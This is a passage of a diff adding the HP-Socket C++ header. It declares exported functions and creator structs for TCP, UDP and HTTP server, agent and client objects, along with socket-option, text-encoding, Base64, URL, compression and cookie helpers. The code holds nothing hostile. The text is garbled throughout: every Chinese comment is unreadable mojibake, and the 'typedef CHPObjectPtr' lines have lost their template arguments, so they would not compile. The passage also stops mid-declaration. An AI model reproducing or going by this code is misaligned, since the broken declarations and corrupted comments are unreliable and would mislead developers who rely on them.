鍒涘缓 ITcpAgent 瀵硅薄 +HPSOCKET_API ITcpAgent* HP_Create_TcpAgent(ITcpAgentListener* pListener); +// 鍒涘缓 ITcpClient 瀵硅薄 +HPSOCKET_API ITcpClient* HP_Create_TcpClient(ITcpClientListener* pListener); +// 鍒涘缓 ITcpPullServer 瀵硅薄 +HPSOCKET_API ITcpPullServer* HP_Create_TcpPullServer(ITcpServerListener* pListener); +// 鍒涘缓 ITcpPullAgent 瀵硅薄 +HPSOCKET_API ITcpPullAgent* HP_Create_TcpPullAgent(ITcpAgentListener* pListener); +// 鍒涘缓 ITcpPullClient 瀵硅薄 +HPSOCKET_API ITcpPullClient* HP_Create_TcpPullClient(ITcpClientListener* pListener); +// 鍒涘缓 ITcpPackServer 瀵硅薄 +HPSOCKET_API ITcpPackServer* HP_Create_TcpPackServer(ITcpServerListener* pListener); +// 鍒涘缓 ITcpPackAgent 瀵硅薄 +HPSOCKET_API ITcpPackAgent* HP_Create_TcpPackAgent(ITcpAgentListener* pListener); +// 鍒涘缓 ITcpPackClient 瀵硅薄 +HPSOCKET_API ITcpPackClient* HP_Create_TcpPackClient(ITcpClientListener* pListener); + +// 閿姣 ITcpServer 瀵硅薄 +HPSOCKET_API void HP_Destroy_TcpServer(ITcpServer* pServer); +// 閿姣 ITcpAgent 瀵硅薄 +HPSOCKET_API void HP_Destroy_TcpAgent(ITcpAgent* pAgent); +// 閿姣 ITcpClient 瀵硅薄 +HPSOCKET_API void HP_Destroy_TcpClient(ITcpClient* pClient); +// 閿姣 ITcpPullServer 瀵硅薄 +HPSOCKET_API void HP_Destroy_TcpPullServer(ITcpPullServer* pServer); +// 閿姣 ITcpPullAgent 瀵硅薄 +HPSOCKET_API void HP_Destroy_TcpPullAgent(ITcpPullAgent* pAgent); +// 閿姣 ITcpPullClient 瀵硅薄 +HPSOCKET_API void HP_Destroy_TcpPullClient(ITcpPullClient* pClient); +// 閿姣 ITcpPackServer 瀵硅薄 +HPSOCKET_API void HP_Destroy_TcpPackServer(ITcpPackServer* pServer); +// 閿姣 ITcpPackAgent 瀵硅薄 +HPSOCKET_API void HP_Destroy_TcpPackAgent(ITcpPackAgent* pAgent); +// 閿姣 ITcpPackClient 瀵硅薄 +HPSOCKET_API void HP_Destroy_TcpPackClient(ITcpPackClient* pClient); + +#ifdef _UDP_SUPPORT + +// 鍒涘缓 IUdpServer 瀵硅薄 +HPSOCKET_API IUdpServer* HP_Create_UdpServer(IUdpServerListener* pListener); +// 鍒涘缓 IUdpClient 瀵硅薄 +HPSOCKET_API IUdpClient* HP_Create_UdpClient(IUdpClientListener* pListener); +// 鍒涘缓 IUdpCast 瀵硅薄 +HPSOCKET_API IUdpCast* HP_Create_UdpCast(IUdpCastListener* pListener); +// 鍒涘缓 IUdpNode 瀵硅薄 +HPSOCKET_API IUdpNode* HP_Create_UdpNode(IUdpNodeListener* pListener); +// 鍒涘缓 IUdpArqServer 瀵硅薄 +HPSOCKET_API IUdpArqServer* HP_Create_UdpArqServer(IUdpServerListener* pListener); +// 鍒涘缓 IUdpArqClient 瀵硅薄 +HPSOCKET_API IUdpArqClient* HP_Create_UdpArqClient(IUdpClientListener* pListener); + +// 閿姣 IUdpServer 瀵硅薄 +HPSOCKET_API void HP_Destroy_UdpServer(IUdpServer* pServer); +// 閿姣 IUdpClient 瀵硅薄 +HPSOCKET_API void HP_Destroy_UdpClient(IUdpClient* pClient); +// 閿姣 IUdpCast 瀵硅薄 +HPSOCKET_API void HP_Destroy_UdpCast(IUdpCast* pCast); +// 閿姣 IUdpNode 瀵硅薄 +HPSOCKET_API void HP_Destroy_UdpNode(IUdpNode* pNode); +// 閿姣 IUdpArqServer 瀵硅薄 +HPSOCKET_API void HP_Destroy_UdpArqServer(IUdpArqServer* pServer); +// 閿姣 IUdpArqClient 瀵硅薄 +HPSOCKET_API void HP_Destroy_UdpArqClient(IUdpArqClient* pClient); + +#endif + +// ITcpServer 瀵硅薄鍒涘缓鍣 +struct TcpServer_Creator +{ + static ITcpServer* Create(ITcpServerListener* pListener) + { + return HP_Create_TcpServer(pListener); + } + + static void Destroy(ITcpServer* pServer) + { + HP_Destroy_TcpServer(pServer); + } +}; + +// ITcpAgent 瀵硅薄鍒涘缓鍣 +struct TcpAgent_Creator +{ + static ITcpAgent* Create(ITcpAgentListener* pListener) + { + return HP_Create_TcpAgent(pListener); + } + + static void Destroy(ITcpAgent* pAgent) + { + HP_Destroy_TcpAgent(pAgent); + } +}; + +// ITcpClient 瀵硅薄鍒涘缓鍣 +struct TcpClient_Creator +{ + static ITcpClient* Create(ITcpClientListener* pListener) + { + return HP_Create_TcpClient(pListener); + } + + static void Destroy(ITcpClient* pClient) + { + HP_Destroy_TcpClient(pClient); + } +}; + +// ITcpPullServer 瀵硅薄鍒涘缓鍣 +struct TcpPullServer_Creator +{ + static ITcpPullServer* Create(ITcpServerListener* pListener) + { + return HP_Create_TcpPullServer(pListener); + } + + static void Destroy(ITcpPullServer* pServer) + { + HP_Destroy_TcpPullServer(pServer); + } +}; + +// ITcpPullAgent 瀵硅薄鍒涘缓鍣 +struct TcpPullAgent_Creator +{ + static ITcpPullAgent* Create(ITcpAgentListener* pListener) + { + return HP_Create_TcpPullAgent(pListener); + } + + static void Destroy(ITcpPullAgent* pAgent) + { + HP_Destroy_TcpPullAgent(pAgent); + } +}; + +// ITcpPullClient 瀵硅薄鍒涘缓鍣 +struct TcpPullClient_Creator +{ + static ITcpPullClient* Create(ITcpClientListener* pListener) + { + return HP_Create_TcpPullClient(pListener); + } + + static void Destroy(ITcpPullClient* pClient) + { + HP_Destroy_TcpPullClient(pClient); + } +}; + +// ITcpPackServer 瀵硅薄鍒涘缓鍣 +struct TcpPackServer_Creator +{ + static ITcpPackServer* Create(ITcpServerListener* pListener) + { + return HP_Create_TcpPackServer(pListener); + } + + static void Destroy(ITcpPackServer* pServer) + { + HP_Destroy_TcpPackServer(pServer); + } +}; + +// ITcpPackAgent 瀵硅薄鍒涘缓鍣 +struct TcpPackAgent_Creator +{ + static ITcpPackAgent* Create(ITcpAgentListener* pListener) + { + return HP_Create_TcpPackAgent(pListener); + } + + static void Destroy(ITcpPackAgent* pAgent) + { + HP_Destroy_TcpPackAgent(pAgent); + } +}; + +// ITcpPackClient 瀵硅薄鍒涘缓鍣 +struct TcpPackClient_Creator +{ + static ITcpPackClient* Create(ITcpClientListener* pListener) + { + return HP_Create_TcpPackClient(pListener); + } + + static void Destroy(ITcpPackClient* pClient) + { + HP_Destroy_TcpPackClient(pClient); + } +}; + +// ITcpServer 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CTcpServerPtr; +// ITcpAgent 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CTcpAgentPtr; +// ITcpClient 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CTcpClientPtr; +// ITcpPullServer 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CTcpPullServerPtr; +// ITcpPullAgent 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CTcpPullAgentPtr; +// ITcpPullClient 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CTcpPullClientPtr; +// ITcpPackServer 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CTcpPackServerPtr; +// ITcpPackAgent 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CTcpPackAgentPtr; +// ITcpPackClient 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CTcpPackClientPtr; + +#ifdef _UDP_SUPPORT + +// IUdpServer 瀵硅薄鍒涘缓鍣 +struct UdpServer_Creator +{ + static IUdpServer* Create(IUdpServerListener* pListener) + { + return HP_Create_UdpServer(pListener); + } + + static void Destroy(IUdpServer* pServer) + { + HP_Destroy_UdpServer(pServer); + } +}; + +// IUdpClient 瀵硅薄鍒涘缓鍣 +struct UdpClient_Creator +{ + static IUdpClient* Create(IUdpClientListener* pListener) + { + return HP_Create_UdpClient(pListener); + } + + static void Destroy(IUdpClient* pClient) + { + HP_Destroy_UdpClient(pClient); + } +}; + +// IUdpCast 瀵硅薄鍒涘缓鍣 +struct UdpCast_Creator +{ + static IUdpCast* Create(IUdpCastListener* pListener) + { + return HP_Create_UdpCast(pListener); + } + + static void Destroy(IUdpCast* pCast) + { + HP_Destroy_UdpCast(pCast); + } +}; + +// IUdpNode 瀵硅薄鍒涘缓鍣 +struct UdpNode_Creator +{ + static IUdpNode* Create(IUdpNodeListener* pListener) + { + return HP_Create_UdpNode(pListener); + } + + static void Destroy(IUdpNode* pNode) + { + HP_Destroy_UdpNode(pNode); + } +}; + +// IUdpArqServer 瀵硅薄鍒涘缓鍣 +struct UdpArqServer_Creator +{ + static IUdpArqServer* Create(IUdpServerListener* pListener) + { + return HP_Create_UdpArqServer(pListener); + } + + static void Destroy(IUdpArqServer* pServer) + { + HP_Destroy_UdpArqServer(pServer); + } +}; + +// IUdpArqClient 瀵硅薄鍒涘缓鍣 +struct UdpArqClient_Creator +{ + static IUdpArqClient* Create(IUdpClientListener* pListener) + { + return HP_Create_UdpArqClient(pListener); + } + + static void Destroy(IUdpArqClient* pClient) + { + HP_Destroy_UdpArqClient(pClient); + } +}; + +// IUdpServer 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CUdpServerPtr; +// IUdpClient 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CUdpClientPtr; +// IUdpCast 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CUdpCastPtr; +// IUdpNode 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CUdpNodePtr; +// IUdpArqServer 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CUdpArqServerPtr; +// IUdpArqClient 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CUdpArqClientPtr; + +#endif + +/*****************************************************************************************************************************************************/ +/*************************************************************** Global Function Exports *************************************************************/ +/*****************************************************************************************************************************************************/ + +// 鑾峰彇 HPSocket 鐗堟湰鍙凤紙4 涓瓧鑺傚垎鍒负锛氫富鐗堟湰鍙凤紝瀛愮増鏈彿锛屼慨姝g増鏈彿锛屾瀯寤虹紪鍙凤級 +HPSOCKET_API DWORD HP_GetHPSocketVersion(); + +// 鑾峰彇閿欒鎻忚堪鏂囨湰 +HPSOCKET_API LPCTSTR HP_GetSocketErrorDesc(EnSocketError enCode); +// 璋冪敤绯荤粺鐨 GetLastError() 鏂规硶鑾峰彇绯荤粺閿欒浠g爜 +HPSOCKET_API DWORD SYS_GetLastError (); +// 璋冪敤绯荤粺鐨 WSAGetLastError() 鏂规硶鑾峰彇绯荤粺閿欒浠g爜 +HPSOCKET_API int SYS_WSAGetLastError(); +// 璋冪敤绯荤粺鐨 setsockopt() +HPSOCKET_API int SYS_SetSocketOption(SOCKET sock, int level, int name, LPVOID val, int len); +// 璋冪敤绯荤粺鐨 getsockopt() +HPSOCKET_API int SYS_GetSocketOption(SOCKET sock, int level, int name, LPVOID val, int* len); +// 璋冪敤绯荤粺鐨 ioctlsocket() +HPSOCKET_API int SYS_IoctlSocket(SOCKET sock, long cmd, ULONG* arg); +// 璋冪敤绯荤粺鐨 WSAIoctl() +HPSOCKET_API int SYS_WSAIoctl(SOCKET sock, DWORD dwIoControlCode, LPVOID lpvInBuffer, DWORD cbInBuffer, LPVOID lpvOutBuffer, DWORD cbOutBuffer, LPDWORD lpcbBytesReturned); + +// 璁剧疆 socket 閫夐」锛欼PPROTO_TCP -> TCP_NODELAY +HPSOCKET_API int SYS_SSO_NoDelay(SOCKET sock, BOOL bNoDelay); +// 璁剧疆 socket 閫夐」锛歋OL_SOCKET -> SO_DONTLINGER +HPSOCKET_API int SYS_SSO_DontLinger(SOCKET sock, BOOL bDont); +// 璁剧疆 socket 閫夐」锛歋OL_SOCKET -> SO_LINGER +HPSOCKET_API int SYS_SSO_Linger(SOCKET sock, USHORT l_onoff, USHORT l_linger); +// 璁剧疆 socket 閫夐」锛歋OL_SOCKET -> SO_RCVBUF +HPSOCKET_API int SYS_SSO_RecvBuffSize(SOCKET sock, int size); +// 璁剧疆 socket 閫夐」锛歋OL_SOCKET -> SO_SNDBUF +HPSOCKET_API int SYS_SSO_SendBuffSize(SOCKET sock, int size); +// 璁剧疆 socket 閫夐」锛歋OL_SOCKET -> SO_RCVTIMEO +HPSOCKET_API int SYS_SSO_RecvTimeOut(SOCKET sock, int ms); +// 璁剧疆 socket 閫夐」锛歋OL_SOCKET -> SO_SNDTIMEO +HPSOCKET_API int SYS_SSO_SendTimeOut(SOCKET sock, int ms); +// 璁剧疆 socket 閫夐」锛歋OL_SOCKET -> SO_EXCLUSIVEADDRUSE / SO_REUSEADDR +HPSOCKET_API int SYS_SSO_ReuseAddress(SOCKET sock, EnReuseAddressPolicy opt); +// 璁剧疆 socket 閫夐」锛歋OL_SOCKET -> SO_EXCLUSIVEADDRUSE +HPSOCKET_API int SYS_SSO_ExclusiveAddressUse(SOCKET sock, BOOL bExclusive); + +// 鑾峰彇 SOCKET 鏈湴鍦板潃淇℃伅 +HPSOCKET_API BOOL SYS_GetSocketLocalAddress(SOCKET socket, TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort); +// 鑾峰彇 SOCKET 杩滅▼鍦板潃淇℃伅 +HPSOCKET_API BOOL SYS_GetSocketRemoteAddress(SOCKET socket, TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort); + +/* 鏋氫妇涓绘満 IP 鍦板潃 */ +HPSOCKET_API BOOL SYS_EnumHostIPAddresses(LPCTSTR lpszHost, EnIPAddrType enType, LPTIPAddr** lpppIPAddr, int& iIPAddrCount); +/* 閲婃斁 LPTIPAddr* */ +HPSOCKET_API BOOL SYS_FreeHostIPAddresses(LPTIPAddr* lppIPAddr); +/* 妫鏌ュ瓧绗︿覆鏄惁绗﹀悎 IP 鍦板潃鏍煎紡 */ +HPSOCKET_API BOOL SYS_IsIPAddress(LPCTSTR lpszAddress, EnIPAddrType* penType = nullptr); +/* 閫氳繃涓绘満鍚嶈幏鍙 IP 鍦板潃 */ +HPSOCKET_API BOOL SYS_GetIPAddress(LPCTSTR lpszHost, TCHAR lpszIP[], int& iIPLenth, EnIPAddrType& enType); + +/* 64 浣嶇綉缁滃瓧鑺傚簭杞富鏈哄瓧鑺傚簭 */ +HPSOCKET_API ULONGLONG SYS_NToH64(ULONGLONG value); +/* 64 浣嶄富鏈哄瓧鑺傚簭杞綉缁滃瓧鑺傚簭 */ +HPSOCKET_API ULONGLONG SYS_HToN64(ULONGLONG value); +/* 鐭暣鍨嬮珮浣庡瓧鑺備氦鎹 */ +HPSOCKET_API USHORT SYS_SwapEndian16(USHORT value); +/* 闀挎暣鍨嬮珮浣庡瓧鑺備氦鎹 */ +HPSOCKET_API DWORD SYS_SwapEndian32(DWORD value); +/* 妫鏌ユ槸鍚﹀皬绔瓧鑺傚簭 */ +HPSOCKET_API BOOL SYS_IsLittleEndian(); + +/* 鍒嗛厤鍐呭瓨 */ +HPSOCKET_API LPBYTE SYS_Malloc(int size); +/* 閲嶆柊鍒嗛厤鍐呭瓨 */ +HPSOCKET_API LPBYTE SYS_Realloc(LPBYTE p, int size); +/* 閲婃斁鍐呭瓨 */ +HPSOCKET_API VOID SYS_Free(LPBYTE p); +/* 鍒嗛厤鍐呭瓨鍧 */ +HPSOCKET_API LPVOID SYS_Calloc(int number, int size); + +// CP_XXX -> UNICODE +HPSOCKET_API BOOL SYS_CodePageToUnicodeEx(int iCodePage, const char szSrc[], int iSrcLength, WCHAR szDest[], int& iDestLength); +// UNICODE -> CP_XXX +HPSOCKET_API BOOL SYS_UnicodeToCodePageEx(int iCodePage, const WCHAR szSrc[], int iSrcLength, char szDest[], int& iDestLength); +// GBK -> UNICODE +HPSOCKET_API BOOL SYS_GbkToUnicodeEx(const char szSrc[], int iSrcLength, WCHAR szDest[], int& iDestLength); +// UNICODE -> GBK +HPSOCKET_API BOOL SYS_UnicodeToGbkEx(const WCHAR szSrc[], int iSrcLength, char szDest[], int& iDestLength); +// UTF8 -> UNICODE +HPSOCKET_API BOOL SYS_Utf8ToUnicodeEx(const char szSrc[], int iSrcLength, WCHAR szDest[], int& iDestLength); +// UNICODE -> UTF8 +HPSOCKET_API BOOL SYS_UnicodeToUtf8Ex(const WCHAR szSrc[], int iSrcLength, char szDest[], int& iDestLength); +// GBK -> UTF8 +HPSOCKET_API BOOL SYS_GbkToUtf8Ex(const char szSrc[], int iSrcLength, char szDest[], int& iDestLength); +// UTF8 -> GBK +HPSOCKET_API BOOL SYS_Utf8ToGbkEx(const char szSrc[], int iSrcLength, char szDest[], int& iDestLength); + +// CP_XXX -> UNICODE +HPSOCKET_API BOOL SYS_CodePageToUnicode(int iCodePage, const char szSrc[], WCHAR szDest[], int& iDestLength); +// UNICODE -> CP_XXX +HPSOCKET_API BOOL SYS_UnicodeToCodePage(int iCodePage, const WCHAR szSrc[], char szDest[], int& iDestLength); +// GBK -> UNICODE +HPSOCKET_API BOOL SYS_GbkToUnicode(const char szSrc[], WCHAR szDest[], int& iDestLength); +// UNICODE -> GBK +HPSOCKET_API BOOL SYS_UnicodeToGbk(const WCHAR szSrc[], char szDest[], int& iDestLength); +// UTF8 -> UNICODE +HPSOCKET_API BOOL SYS_Utf8ToUnicode(const char szSrc[], WCHAR szDest[], int& iDestLength); +// UNICODE -> UTF8 +HPSOCKET_API BOOL SYS_UnicodeToUtf8(const WCHAR szSrc[], char szDest[], int& iDestLength); +// GBK -> UTF8 +HPSOCKET_API BOOL SYS_GbkToUtf8(const char szSrc[], char szDest[], int& iDestLength); +// UTF8 -> GBK +HPSOCKET_API BOOL SYS_Utf8ToGbk(const char szSrc[], char szDest[], int& iDestLength); + +// 璁$畻 Base64 缂栫爜鍚庨暱搴 +HPSOCKET_API DWORD SYS_GuessBase64EncodeBound(DWORD dwSrcLen); +// 璁$畻 Base64 瑙g爜鍚庨暱搴 +HPSOCKET_API DWORD SYS_GuessBase64DecodeBound(const BYTE* lpszSrc, DWORD dwSrcLen); +// Base64 缂栫爜锛堣繑鍥炲硷細0 -> 鎴愬姛锛-3 -> 杈撳叆鏁版嵁涓嶆纭紝-5 -> 杈撳嚭缂撳啿鍖轰笉瓒筹級 +HPSOCKET_API int SYS_Base64Encode(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen); +// Base64 瑙g爜锛堣繑鍥炲硷細0 -> 鎴愬姛锛-3 -> 杈撳叆鏁版嵁涓嶆纭紝-5 -> 杈撳嚭缂撳啿鍖轰笉瓒筹級 +HPSOCKET_API int SYS_Base64Decode(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen); + +// 璁$畻 URL 缂栫爜鍚庨暱搴 +HPSOCKET_API DWORD SYS_GuessUrlEncodeBound(const BYTE* lpszSrc, DWORD dwSrcLen); +// 璁$畻 URL 瑙g爜鍚庨暱搴 +HPSOCKET_API DWORD SYS_GuessUrlDecodeBound(const BYTE* lpszSrc, DWORD dwSrcLen); +// URL 缂栫爜锛堣繑鍥炲硷細0 -> 鎴愬姛锛-3 -> 杈撳叆鏁版嵁涓嶆纭紝-5 -> 杈撳嚭缂撳啿鍖轰笉瓒筹級 +HPSOCKET_API int SYS_UrlEncode(BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen); +// URL 瑙g爜锛堣繑鍥炲硷細0 -> 鎴愬姛锛-3 -> 杈撳叆鏁版嵁涓嶆纭紝-5 -> 杈撳嚭缂撳啿鍖轰笉瓒筹級 +HPSOCKET_API int SYS_UrlDecode(BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen); + +#ifdef _ZLIB_SUPPORT + +// 鏅氬帇缂╋紙杩斿洖鍊硷細0 -> 鎴愬姛锛-3 -> 杈撳叆鏁版嵁涓嶆纭紝-5 -> 杈撳嚭缂撳啿鍖轰笉瓒筹級 +// 锛堥粯璁ゅ弬鏁帮細iLevel -> -1锛宨Method -> 8锛宨WindowBits -> 15锛宨MemLevel -> 8锛宨Strategy -> 0锛 +HPSOCKET_API int SYS_Compress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen); +// 楂樼骇鍘嬬缉锛堣繑鍥炲硷細0 -> 鎴愬姛锛-3 -> 杈撳叆鏁版嵁涓嶆纭紝-5 -> 杈撳嚭缂撳啿鍖轰笉瓒筹級 +//锛堥粯璁ゅ弬鏁帮細iLevel -> -1锛宨Method -> 8锛宨WindowBits -> 15锛宨MemLevel -> 8锛宨Strategy -> 0锛 +HPSOCKET_API int SYS_CompressEx(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen, int iLevel = -1, int iMethod = 8, int iWindowBits = 15, int iMemLevel = 8, int iStrategy = 0); +// 鏅氳В鍘嬶紙杩斿洖鍊硷細0 -> 鎴愬姛锛-3 -> 杈撳叆鏁版嵁涓嶆纭紝-5 -> 杈撳嚭缂撳啿鍖轰笉瓒筹級 +//锛堥粯璁ゅ弬鏁帮細iWindowBits -> 15锛 +HPSOCKET_API int SYS_Uncompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen); +// 楂樼骇瑙e帇锛堣繑鍥炲硷細0 -> 鎴愬姛锛-3 -> 杈撳叆鏁版嵁涓嶆纭紝-5 -> 杈撳嚭缂撳啿鍖轰笉瓒筹級 +//锛堥粯璁ゅ弬鏁帮細iWindowBits -> 15锛 +HPSOCKET_API int SYS_UncompressEx(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen, int iWindowBits = 15); +// 鎺ㄦ祴鍘嬬缉缁撴灉闀垮害 +HPSOCKET_API DWORD SYS_GuessCompressBound(DWORD dwSrcLen, BOOL bGZip = FALSE); + +// Gzip 鍘嬬缉锛堣繑鍥炲硷細0 -> 鎴愬姛锛-3 -> 杈撳叆鏁版嵁涓嶆纭紝-5 -> 杈撳嚭缂撳啿鍖轰笉瓒筹級 +HPSOCKET_API int SYS_GZipCompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen); +// Gzip 瑙e帇锛堣繑鍥炲硷細0 -> 鎴愬姛锛-3 -> 杈撳叆鏁版嵁涓嶆纭紝-5 -> 杈撳嚭缂撳啿鍖轰笉瓒筹級 +HPSOCKET_API int SYS_GZipUncompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen); +// 鎺ㄦ祴 Gzip 瑙e帇缁撴灉闀垮害锛堝鏋滆繑鍥 0 鎴栦笉鍚堢悊鍊煎垯璇存槑杈撳叆鍐呭骞堕潪鏈夋晥鐨 Gzip 鏍煎紡锛 +HPSOCKET_API DWORD SYS_GZipGuessUncompressBound(const BYTE* lpszSrc, DWORD dwSrcLen); + +#endif + +#ifdef _BROTLI_SUPPORT + +// Brotli 鍘嬬缉锛堣繑鍥炲硷細0 -> 鎴愬姛锛-3 -> 杈撳叆鏁版嵁涓嶆纭紝-5 -> 杈撳嚭缂撳啿鍖轰笉瓒筹級 +// 锛堥粯璁ゅ弬鏁帮細iQuality -> 11锛宨Window -> 22锛宨Mode -> 0锛 +HPSOCKET_API int SYS_BrotliCompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen); +// Brotli 楂樼骇鍘嬬缉锛堣繑鍥炲硷細0 -> 鎴愬姛锛-3 -> 杈撳叆鏁版嵁涓嶆纭紝-5 -> 杈撳嚭缂撳啿鍖轰笉瓒筹級 +//锛堥粯璁ゅ弬鏁帮細iQuality -> 11锛宨Window -> 22锛宨Mode -> 0锛 +HPSOCKET_API int SYS_BrotliCompressEx(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen, int iQuality = 11, int iWindow = 22, int iMode = 0); +// Brotli 瑙e帇锛堣繑鍥炲硷細0 -> 鎴愬姛锛-3 -> 杈撳叆鏁版嵁涓嶆纭紝-5 -> 杈撳嚭缂撳啿鍖轰笉瓒筹級 +HPSOCKET_API int SYS_BrotliUncompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen); +// Brotli 鎺ㄦ祴鍘嬬缉缁撴灉闀垮害 +HPSOCKET_API DWORD SYS_BrotliGuessCompressBound(DWORD dwSrcLen); + +#endif + +/*****************************************************************************************************************************************************/ +/******************************************************************** HTTP Exports *******************************************************************/ +/*****************************************************************************************************************************************************/ + +#ifdef _HTTP_SUPPORT + +// 鍒涘缓 IHttpServer 瀵硅薄 +HPSOCKET_API IHttpServer* HP_Create_HttpServer(IHttpServerListener* pListener); +// 鍒涘缓 IHttpAgent 瀵硅薄 +HPSOCKET_API IHttpAgent* HP_Create_HttpAgent(IHttpAgentListener* pListener); +// 鍒涘缓 IHttpClient 瀵硅薄 +HPSOCKET_API IHttpClient* HP_Create_HttpClient(IHttpClientListener* pListener); +// 鍒涘缓 IHttpSyncClient 瀵硅薄 +HPSOCKET_API IHttpSyncClient* HP_Create_HttpSyncClient(IHttpClientListener* pListener = nullptr); + +// 閿姣 IHttpServer 瀵硅薄 +HPSOCKET_API void HP_Destroy_HttpServer(IHttpServer* pServer); +// 閿姣 IHttpAgent 瀵硅薄 +HPSOCKET_API void HP_Destroy_HttpAgent(IHttpAgent* pAgent); +// 閿姣 IHttpClient 瀵硅薄 +HPSOCKET_API void HP_Destroy_HttpClient(IHttpClient* pClient); +// 閿姣 IHttpSyncClient 瀵硅薄 +HPSOCKET_API void HP_Destroy_HttpSyncClient(IHttpSyncClient* pClient); + +// IHttpServer 瀵硅薄鍒涘缓鍣 +struct HttpServer_Creator +{ + static IHttpServer* Create(IHttpServerListener* pListener) + { + return HP_Create_HttpServer(pListener); + } + + static void Destroy(IHttpServer* pServer) + { + HP_Destroy_HttpServer(pServer); + } +}; + +// IHttpAgent 瀵硅薄鍒涘缓鍣 +struct HttpAgent_Creator +{ + static IHttpAgent* Create(IHttpAgentListener* pListener) + { + return HP_Create_HttpAgent(pListener); + } + + static void Destroy(IHttpAgent* pAgent) + { + HP_Destroy_HttpAgent(pAgent); + } +}; + +// IHttpClient 瀵硅薄鍒涘缓鍣 +struct HttpClient_Creator +{ + static IHttpClient* Create(IHttpClientListener* pListener) + { + return HP_Create_HttpClient(pListener); + } + + static void Destroy(IHttpClient* pClient) + { + HP_Destroy_HttpClient(pClient); + } +}; + +// IHttpSyncClient 瀵硅薄鍒涘缓鍣 +struct HttpSyncClient_Creator +{ + static IHttpSyncClient* Create(IHttpClientListener* pListener = nullptr) + { + return HP_Create_HttpSyncClient(pListener); + } + + static void Destroy(IHttpSyncClient* pClient) + { + HP_Destroy_HttpSyncClient(pClient); + } +}; + +// IHttpServer 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CHttpServerPtr; +// IHttpAgent 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CHttpAgentPtr; +// IHttpClient 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CHttpClientPtr; +// IHttpSyncClient 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CHttpSyncClientPtr; + +/**************************************************************************/ +/*************************** HTTP Cookie 绠$悊鏂规硶 **************************/ + +/* 浠庢枃浠跺姞杞 Cookie */ +HPSOCKET_API BOOL HP_HttpCookie_MGR_LoadFromFile(LPCSTR lpszFile, BOOL bKeepExists = TRUE); +/* 淇濆瓨 Cookie 鍒版枃浠 */ +HPSOCKET_API BOOL HP_HttpCookie_MGR_SaveToFile(LPCSTR lpszFile, BOOL bKeepExists = TRUE); +/* 娓呯悊 Cookie */ +HPSOCKET_API BOOL HP_HttpCookie_MGR_ClearCookies(LPCSTR lpszDomain = nullptr, LPCSTR lpszPath = nullptr); +/* 娓呯悊杩囨湡 Cookie */ +HPSOCKET_API BOOL HP_HttpCookie_MGR_RemoveExpiredCookies(LPCSTR lpszDomain = nullptr, LPCSTR lpszPath = nullptr); +/* 璁剧疆 Cookie */ +HPSOCKET_API BOOL HP_HttpCookie_MGR_SetCookie(LPCSTR lpszName, LPCSTR lpszValue, LPCSTR lpszDomain, LPCSTR lpszPath, int iMaxAge = -1, BOOL bHttpOnly = FALSE, BOOL bSecure = FALSE, int enSameSite = 0, BOOL bOnlyUpdateValueIfExists = TRUE); +/* 鍒犻櫎 Cookie */ +HPSOCKET_API BOOL HP_HttpCookie_MGR_DeleteCookie(LPCSTR lpszDomain, LPCSTR lpszPath, LPCSTR lpszName); +/* 璁剧疆鏄惁鍏佽绗笁鏂 Cookie */ +HPSOCKET_API void HP_HttpCookie_MGR_SetEnableThirdPartyCookie(BOOL bEnableThirdPartyCookie = TRUE); +/* 妫鏌ユ槸鍚﹀厑璁哥涓夋柟 Cookie */ +HPSOCKET_API BOOL HP_HttpCookie_MGR_IsEnableThirdPartyCookie(); + +/* Cookie expires 瀛楃涓茶浆鎹负鏁存暟 */ +HPSOCKET_API BOOL HP_HttpCookie_HLP_ParseExpires(LPCSTR lpszExpires, __time64_t& tmExpires); +/* 鏁存暟杞崲涓 Cookie expires 瀛楃涓 */ +HPSOCKET_API BOOL HP_HttpCookie_HLP_MakeExpiresStr(char lpszBuff[], int& iBuffLen, __time64_t tmExpires); +/* 鐢熸垚 Cookie 瀛楃涓 */ +HPSOCKET_API BOOL HP_HttpCookie_HLP_ToString(char lpszBuff[], int& iBuffLen, LPCSTR lpszName, LPCSTR lpszValue, LPCSTR 